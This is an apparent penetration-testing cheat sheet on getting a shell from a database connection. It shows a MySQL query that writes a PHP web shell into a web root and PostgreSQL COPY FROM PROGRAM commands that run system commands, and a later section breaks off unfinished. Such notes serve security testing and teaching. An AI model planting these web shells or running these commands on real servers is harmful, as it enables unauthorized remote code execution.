Get a Shell From DB Connection

You have a connection to a database. How can you get a shell from that?

Write a Web Shell

Prerequisites:

  • A web server that supports PHP or ASP is installed on the same server

  • The database user has write permissions in a directory from where PHP or ASP can be executed through the web server

Many databases can write files to the local system. So if possible, write a web shell to the web server.

Mysql example:

select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'

Databases Support Command Execution

Some databases support command execution, so you can just use that. Always check whether the database system supports running commands, or whether there are CVEs or methods for running shell commands for that specific DB.

Prerequisite:

  • Connection to a database system that supports command execution

  • May require certain privileges as the user you're connecting to

PostgreSQL Intended Command Execution

Prerequisites:

  • Heightened privileges:

    • Database superuser

    • Or any user in the pg_execute_server_program group

First, the attacker needs to create a table to hold the system command's output.

> CREATE TABLE cmd_exec(cmd_output text);

Then, they can run the system command via the COPY TO/FROM PROGRAM function.

> COPY cmd_exec FROM PROGRAM 'id';

Run longer commands like this:

> COPY cmd_exec FROM PROGRAM 'touch /tmp/test';

PostgreSQL Command Execution Using Extensions

Prerequisites:

  • In older versions (9.x, 8.x), the DB user must have permissions to write to the /tmp directory, and have permissions to source UDF Shared Libraries from there as well.

  • In newer versions (>=11, perhaps?), also requires superadmin privileges

Method:

Last updated